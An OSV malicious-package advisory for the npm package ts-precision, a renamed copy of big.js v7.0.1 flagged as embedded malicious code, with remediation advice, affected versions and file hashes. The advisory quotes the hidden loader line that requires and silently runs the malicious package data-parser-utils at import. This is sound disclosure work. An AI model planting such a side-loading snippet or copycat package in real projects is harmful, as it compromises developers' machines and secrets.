MAL-2026-6469

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-precision/MAL-2026-6469.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6469
Aliases
  • GHSA-g38h-2r6h-pwr8
Published
2026-06-25T18:11:56Z
Modified
2026-07-30T04:36:09.401838870Z
Summary
Malicious code in ts-precision (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c)

Package ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin M8ch88l@gmail.com' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: try { const doc = require("data-parser-utils"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }. This block fires on every require('ts-precision') / import of the package, pulling in and invoking the known-malicious npm package data-parser-utils, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load.

Source: ghsa-malware (b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-06-25T18:17:38.177326218Z",
            "id": "IN-MAL-2026-007525",
            "sha256": "e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c",
            "modified_time": "2026-06-25T18:11:56Z",
            "source": "amazon-inspector",
            "versions": [
                "3.7.2"
            ]
        },
        {
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "import_time": "2026-07-30T03:51:56.483166Z",
            "id": "GHSA-g38h-2r6h-pwr8",
            "sha256": "b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234",
            "modified_time": "2026-07-29T16:04:10Z",
            "source": "ghsa-malware"
        }
    ]
}
References
Credits

Affected packages

npm / ts-precision

Package

Name
ts-precision
View open source insights on deps.dev
Purl
pkg:npm/ts-precision

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected

Affected versions

3.*
3.7.2

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ts-precision/MAL-2026-6469.json"
indicators 
{
    "evidence_files": [
        {
            "path": "big.js",
            "tlsh": "03c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc",
            "sha256": "4e4f951802cfc3b04a4e1d44353a360afce53a687163be32fa5360b43ea86674"
        },
        {
            "path": "package.json",
            "tlsh": "1d210463c9a19da70af85b94bcac03aaf1151b1f40a08c5bb07b130c5f3355b2095b7d",
            "sha256": "7b5b152905601ce985c7d4e8c912fd0e79655222935c785079b5aa1d8a5c4620"
        }
    ],
    "package_integrity": [
        {
            "filename": "ts-precision-3.7.2.tgz",
            "hashes": {
                "sha1": "9ff147230bba976bc169b247c4d0d84ea8254261",
                "sha512_sri": "sha512-qeaZg4tesKgUjURYBWfdXHktdEgFeA70MWmdfo9Nixy9wnR+EknggmG17LFuXvpAgrpkjS0n7RAYNNozbjm/Ow=="
            }
        }
    ]
}